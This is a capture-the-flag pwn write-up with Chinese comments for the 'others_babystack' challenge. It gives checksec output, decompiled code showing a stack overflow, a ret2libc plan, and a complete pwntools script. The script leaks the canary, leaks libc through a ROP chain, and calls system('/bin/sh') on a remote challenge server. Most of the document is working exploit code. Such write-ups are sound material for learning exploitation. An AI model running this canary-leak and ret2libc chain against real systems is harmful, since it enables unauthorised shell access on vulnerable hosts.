HugeH4rD

others_babystack

Ubuntu 16 来源：httpsgithub.combash-cpwn_repo

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/others_babystack/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

IDA

main()

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(s, 0, 0x80uLL);
  while ( 1 )
  {
    sub_4008B9();
    v3 = sub_400841();
    switch ( v3 )
    {
      case 2:					//输出
        puts(s);
        break;
      case 3:					//exit
        return 0LL;
      case 1:					//read()栈溢出
        read(0, s, 0x100uLL);
        break;
      default:
        sub_400826("invalid choice");
        break;
    }
    sub_400826(&unk_400AE7);
  }
}

0x02

---

思路 ret2libc

1.先泄露canary

2.泄露write

3.计算得出system

4.再次溢出执行system

0x03

---

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
io = remote('node4.buuoj.cn', 28052)
path = './babystack'
# io = process([path])
elf = ELF(path)
libc = ELF('libc-2.23.so')

padding1 = 0x88
payload1 = flat(b'a' * padding1)
io.sendlineafter(b'>>', b'1')
io.sendline(payload1)
io.sendlineafter(b'>>', b'2')
io.recvuntil(b'a\n')
canary = u64(io.recv(7).rjust(8, b'\x00'))
print('[+] Canary -->', hex(canary))

pop_rdi_ret = 0x400a93  # pop rdi ; ret
puts_plt = elf.plt['puts']
write_got = elf.got['write']
main = 0x400908
payload2 = flat(b'a'*padding1, canary, 0, pop_rdi_ret, write_got, puts_plt, main)
io.sendlineafter(b">>", b'1')
io.sendline(payload2)
io.sendlineafter(b">>", b'3')

io.recv()
write_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('[+] write_addr -->', hex(write_addr))
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

payload3 = flat(b'a'*padding1, canary, 0, pop_rdi_ret, binsh, system)
io.sendlineafter(b">>", b'1')
io.sendline(payload3)
io.sendlineafter(b">>", b'3')
io.interactive()